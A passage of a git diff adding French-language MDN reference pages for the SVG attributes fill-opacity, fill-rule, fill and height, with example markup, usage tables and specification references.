<code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code></p>
+
+<h3 id="Attributs_d'événement_graphiques">Attributs d'événement graphiques</h3>
+
+<p><code><strong>onactivate</strong></code>, <code><strong>onfocusin</strong></code>, <code><strong>onfocusout</strong></code></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.events")}}</p>
diff --git a/files/fr/web/svg/attribute/fill-opacity/index.html b/files/fr/web/svg/attribute/fill-opacity/index.html
new file mode 100644
index 0000000000..3991e07b5d
--- /dev/null
+++ b/files/fr/web/svg/attribute/fill-opacity/index.html
@@ -0,0 +1,91 @@
+---
+title: fill-opacity
+slug: Web/SVG/Attribute/fill-opacity
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/fill-opacity
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>fill-opacity</code></strong> définit l'opacité du remplissage (<em>couleur, dégradé, motif</em>, etc) appliqué à une forme.</p>
+
+<p class="note"><strong>Note:</strong> <code>fill-opacity</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué sur tous les éléments, en revanche il n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Opacité par défaut: 1 --&gt;
+  &lt;circle cx="50" cy="50" r="40" /&gt;
+
+  &lt;!-- Définit l'opacité avec un nombre --&gt;
+  &lt;circle cx="150" cy="50" r="40"
+          fill-opacity="0.7" /&gt;
+
+  &lt;!-- Définit l'opaité avec un pourcentage --&gt;
+  &lt;circle cx="250" cy="50" r="40"
+          fill-opacity="50%" /&gt;
+
+  &lt;!-- Définit l'opacité avec une propriété CSS --&gt;
+  &lt;circle cx="350" cy="50" r="40"
+          style="fill-opacity: .25;" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 150)}}</p>
+</div>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>[0-1]</code> | <strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> SVG2 introduit les valeurs en pourcentage pour <code>fill-opacity</code>. Cependant,  ce n'est pas souvent pris en charge pour le moment (<em>Voir {{anch('Compatibilité des navigateurs')}} ci-dessous</em>). Il est par conséquent recommandé d'utiiser les valeurs de l'intervalle <code>[0-1]</code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.fill-opacity")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#FillOpacityProperty", "fill-opacity")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#FillOpacityProperty", "fill-opacity")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/fill-rule/index.html b/files/fr/web/svg/attribute/fill-rule/index.html
new file mode 100644
index 0000000000..ad3b269fa8
--- /dev/null
+++ b/files/fr/web/svg/attribute/fill-rule/index.html
@@ -0,0 +1,166 @@
+---
+title: fill-rule
+slug: Web/SVG/Attribute/fill-rule
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/fill-rule
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>fill-rule</code></strong> définit l'algorithme à utiliser pour déterminer les parties qui sont considérées <em>à l'intérieur</em> de la forme.</p>
+
+<p class="note"><strong>Note:</strong> <code>fill-rule</code> est un attribut de présentation et peut donc être utilisé comme propriété CSS.</p>
+
+<p>Cet attribut peut être appliqué à n'importe quel élément mais n'aura d'effet que sur les éléments suivants: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Valeur par défaut pour fill-rule --&gt;
+  &lt;polygon fill-rule="nonzero" stroke="red"
+   points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!--
+  Les points au centre de la forme ont 2
+  segments (matérialisés par le trait rouge)
+  Avec la règle evenodd, ils sont considérés en
+  dehors de la forme, et l'intérieur de l'étoile
+  est donc vide.
+  --&gt;
+  &lt;polygon fill-rule="evenodd" stroke="red"
+   points="150,0 121,90 198,35 102,35 179,90"/&gt;
+&lt;/svg&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+
+<h2 id="Usage">Usage</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>nonzero</code> | <code>evenodd</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>nonzero</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L'attribut <code>fill-rule</code> peut prendre deux valeurs:</p>
+
+<h3 id="nonzero">nonzero</h3>
+
+<p>La valeur <code>nonzero</code> détermine si un point est à l'intérieur d'une forme en dessinant un rayon à partir de ce point vers l'infini dans toutes les directions, puis examine les endroits où un segment de la forme traverse le rayon.</p>
+
+<p>À chaque fois qu'un segment traverse le rayon de gauche à droite, on ajoute un. À chaque fois qu'un segment traverse le rayon de droite à gauche, on soustrait un. Si au final, le compte est égal à zéro, le point est l'extérieur. Dans le cas contraire, il est à l'intérieur.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effet de la règle de remplissage sur les segments qui se croisent --&gt;
+  &lt;polygon fill-rule="nonzero" stroke="red"
+           points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!--
+  Effet sur une forme dans une forme
+  lorsque le segment va dans la même direction
+  (vers la droite)
+  --&gt;
+  &lt;path fill-rule="nonzero" stroke="red"
+        d="M110,0  h90 v90 h-90 z
+           M130,20 h50 v50 h-50 z"/&gt;
+
+  &lt;!--
+  Effet sur une forme dans une forme
+  lorsque le segment va dans la direction opposée
+  (vers la gauche contre vers la droite)
+  --&gt;
+  &lt;path fill-rule="nonzero" stroke="red"
+        d="M210,0  h90 v90 h-90 z
+           M230,20 v50 h50 v-50 z"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('nonzero', '100%', 200)}}</p>
+
+<h3 id="evenodd">evenodd</h3>
+
+<p>La valeur <code>evenodd</code> détermine si un point est à l'intérieur d'une forme en dessinant un rayon de à partir de ce point vers l'infini dans toutes les directions, et compte le nombre de segments de la forme qui traversent ce rayon. Si ce nombre est impair (<em>odd</em> en anglais), alors le point est à l'intérieur. Si le nombre est pair (<em>even</em> en anglais), alors le point est à l'extérieur.</p>
+
+<h4 id="Exemple_2">Exemple</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Effet de la règle de remplissage sur les segments qui se croisent --&gt;
+  &lt;polygon fill-rule="evenodd" stroke="red"
+           points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!--
+  Effet sur une forme dans une forme
+  lorsque le segment va dans la même direction
+  (vers la droite)
+  --&gt;
+  &lt;path fill-rule="evenodd" stroke="red"
+        d="M110,0  h90 v90 h-90 z
+           M130,20 h50 v50 h-50 z"/&gt;
+
+  &lt;!--
+  Effet sur une forme dans une forme
+  lorsque le segment va dans la direction opposée
+  (vers la gauche contre vers la droite)
+  --&gt;
+  &lt;path fill-rule="evenodd" stroke="red"
+        d="M210,0  h90 v90 h-90 z
+           M230,20 v50 h50 v-50 z"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('evenodd', '100%', 200)}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.fill-rule")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#FillRuleProperty", "fill-rule")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#FillRuleProperty", "fill-rule")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/fr/web/svg/attribute/fill/index.html b/files/fr/web/svg/attribute/fill/index.html
new file mode 100644
index 0000000000..7b5682cd92
--- /dev/null
+++ b/files/fr/web/svg/attribute/fill/index.html
@@ -0,0 +1,453 @@
+---
+title: fill
+slug: Web/SVG/Attribute/fill
+tags:
+  - SVG
+  - SVG Attribute
+translation_of: Web/SVG/Attribute/fill
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>fill</code></strong> a deux significations différentes: 1. pour les formes et le texte, il définit le remplissage (<em>couleur, dégradé, motif, etc</em>); 2. pour les animations, il définit l'état final.</p>
+
+<p>Cet attribut peut être appliqué à tous les éléments, en revanche il n'aura d'effet que sur les formes suivantes: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, et {{SVGElement('tspan')}}</p>
+
+<p>Pour les animations, il s'applique à cinq éléments: {{SVGElement('animate')}}, {{SVGElement('animateColor')}}, {{SVGElement('animateMotion')}}, {{SVGElement('animateTransform')}}, et {{SVGElement('set')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Remplir avec une simple couleur --&gt;
+  &lt;circle cx="50" cy="50" r="40" fill="pink" /&gt;
+
+  &lt;!-- Remplir avec un dégradé --&gt;
+  &lt;defs&gt;
+    &lt;radialGradient id="myGradient"&gt;
+      &lt;stop offset="0%"   stop-color="pink" /&gt;
+      &lt;stop offset="100%" stop-color="black" /&gt;
+    &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+  &lt;circle cx="150" cy="50" r="40" fill="url(#myGradient)" /&gt;
+
+  &lt;!-- Définit l'état final d'un cercle animé --&gt;
+  &lt;circle cx="250" cy="50" r="20"&gt;
+    &lt;animate attributeType="XML"
+             attributeName="r"
+             from="0" to="40" dur="5s"
+             fill="freeze" /&gt;
+  &lt;/circle&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="altGlyph">altGlyph</h2>
+
+<p class="warning"><strong>Attention:</strong> {{SVGElement('altGlyph')}} est déprécié en SVG2 et ne devrait pas être utilisé.</p>
+
+<p>Pour {{SVGElement('altGlyph')}}, <code>fill</code> est un attribut de présentation qui définit la couleur du glyphe.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="animate">animate</h2>
+
+<p>Pour {{SVGElement('animate')}}, <code>fill</code> définit l'état final de l'animation.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>freeze</code> (<em>Conserver la dernière image de l'animation</em>) | <code>remove</code> (<em>Conserver la première image de l'animation</em>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>remove</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="animateColor">animateColor</h2>
+
+<p class="warning"><strong>Attention:</strong> {{SVGElement('animateColor')}} est déprécié en SVG2 et ne devrait pas être utilisé. Utiliser {{SVGElement('animate')}} à la place.</p>
+
+<p>Pour {{SVGElement('animateColor')}}, <code>fill</code> définit l'état final de l'animation.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>freeze</code> (<em>Conserver la dernière image de l'animation</em>) | <code>remove</code> (<em>Conserver la première image de l'animation</em>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>remove</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="animateMotion">animateMotion</h2>
+
+<p>Pour {{SVGElement('animateMotion')}}, <code>fill</code> définit l'état final de l'animation.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>freeze</code> (<em>Conserver la dernière image de l'animation</em>) | <code>remove</code> (<em>Conserver la première image de l'animation</em>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>remove</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="animateTransform">animateTransform</h2>
+
+<p>Pour {{SVGElement('animateTransform')}}, <code>fill</code> définit l'état final de l'animation.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>freeze</code> (<em>Conserver la dernière image de l'animation</em>) | <code>remove</code> (<em>Conserver la première image de l'animation</em>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>remove</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="circle">circle</h2>
+
+<p>Pour {{SVGElement('circle')}}, <code>fill</code> est un attribut de présentation qui définit la couleur de remplissage du cercle.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="ellipse">ellipse</h2>
+
+<p>Pour {{SVGElement('ellipse')}}, <code>fill</code> est un attribut de présentation qui définit la couleur de remplissage du cercle.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="path">path</h2>
+
+<p>Pour {{SVGElement('path')}}, <code>fill</code> est un attribut de présentation qui définit la couleur de remplissage de la forme. (<em>Intérieur définit par l'attribut {{SVGAttr('fill-rule')}}</em>)</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="polygon">polygon</h2>
+
+<p>Pour {{SVGElement('polygon')}}, <code>fill</code> est un attribut de présentation qui définit la couleur de remplissage de la forme. (<em>Intérieur définit par l'attribut {{SVGAttr('fill-rule')}}</em>)</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="polyline">polyline</h2>
+
+<p>For {{SVGElement('polyline')}}, <code>fill</code> est un attribut de présentation qui définit la couleur de remplissage de la forme. (<em>Intérieur définit par l'attribut {{SVGAttr('fill-rule')}}</em>)</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="rect">rect</h2>
+
+<p>Pour {{SVGElement('rect')}}, <code>fill</code> est un attribut de présentation qui définit la couleur de remplissage du rectangle.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="set">set</h2>
+
+<p>Pour {{SVGElement('set')}}, <code>fill</code> définit l'état final de l'animation.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code>freeze</code> (<em>Conserver la dernière image de l'animation</em>) | <code>remove</code> (<em>Conserver la première image de l'animation</em>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>remove</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="text">text</h2>
+
+<p>Pour {{SVGElement('text')}}, <code>fill</code> est un attribut de présentation qui définit la couleur du texte.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="textPath">textPath</h2>
+
+<p>Pour {{SVGElement('textPath')}}, <code>fill</code> est un attribut de présentation qui définit la couleur du texte.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="tref">tref</h2>
+
+<p class="warning"><strong>Attention:</strong> {{SVGElement('tref')}} est déprécié en SVG2 et ne devrait pas être utilisé.</p>
+
+<p>Pour {{SVGElement('tref')}}, <code>fill</code> est un attribut de présentation qui définit la couleur du texte.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="tspan">tspan</h2>
+
+<p>Pour {{SVGElement('tspan')}}, <code>fill</code> est un attribut de présentation qui définit la couleur du texte.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>black</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animation</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> <code>fill</code> étant un attribut de présentation, il peut être utilisé comme propriété CSS.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#FillAttribute", "transform")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Définition pour les animations.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#FillProperty", "fill")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition pour les formes et le texte.<br>
+    Ajoute <code style="white-space: nowrap;">context-fill</code> et <code style="white-space: nowrap;">context-stroke</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#FillAttribute", "fill")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les animations.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#FillProperty", "fill")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale pour les formes et le texte.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.attributes.presentation.fill")}}</p>
+
+<p class="note"><strong>Note:</strong> Pour plus d'informations sur les valeurs de <code style="white-space: nowrap;">context-fill</code> (et <code style="white-space: nowrap;">context-stroke</code>) dans des documents HTML, voir la documentation pour la propriété non-standard <span style="white-space: nowrap;">{{cssxref("-moz-context-properties")}}</span>.</p>
diff --git a/files/fr/web/svg/attribute/height/index.html b/files/fr/web/svg/attribute/height/index.html
new file mode 100644
index 0000000000..848ac09f35
--- /dev/null
+++ b/files/fr/web/svg/attribute/height/index.html
@@ -0,0 +1,71 @@
+---
+title: Height
+slug: Web/SVG/Attribute/height
+tags:
+  - Attribut SVG
+  - SVG
+translation_of: Web/SVG/Attribute/height
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>Cet attribut indique une dimension verticale <code>&lt;length&gt;</code> dans le système de coordonnées. La donnée (ou coordonnée) définie par cet attribut dépend de l'élément sur lequel il est appliqué. La plupart du temps, il représente la hauteur de la région rectangulaire composant l'élément (voir les exceptions dans la documentation pour chaque type d'élément).</p>
+
+<p>Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("svg") }} dont la valeur par défaut est de 100% et {{ SVGElement("mask") }} dont la valeur par défaut est de 120%.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><a href="/en/SVG/Content_type#Length" title="https://developer.mozilla.org/en/SVG/Content_type#Length">&lt;length&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Documents normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/extend.html#ForeignObjectElementHeightAttribute" title="http://www.w3.org/TR/SVG/extend.html#ForeignObjectElementHeightAttribute">SVG 1.1 (2nd Edition): foreignObject element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#ImageElementHeightAttribute" title="http://www.w3.org/TR/SVG/struct.html#ImageElementHeightAttribute">SVG 1.1 (2nd Edition): image element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#PatternElementHeightAttribute" title="http://www.w3.org/TR/SVG/pservers.html#PatternElementHeightAttribute">SVG 1.1 (2nd Edition): pattern element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#RectElementHeightAttribute" title="http://www.w3.org/TR/SVG/shapes.html#RectElementHeightAttribute">SVG 1.1 (2nd Edition): rect element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#SVGElementHeightAttribute" title="http://www.w3.org/TR/SVG/struct.html#SVGElementHeightAttribute">SVG 1.1 (2nd Edition): svg element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#UseElementHeightAttribute" title="http://www.w3.org/TR/SVG/struct.html#UseElementHeightAttribute">SVG 1.1 (2nd Edition): use element</a><br>
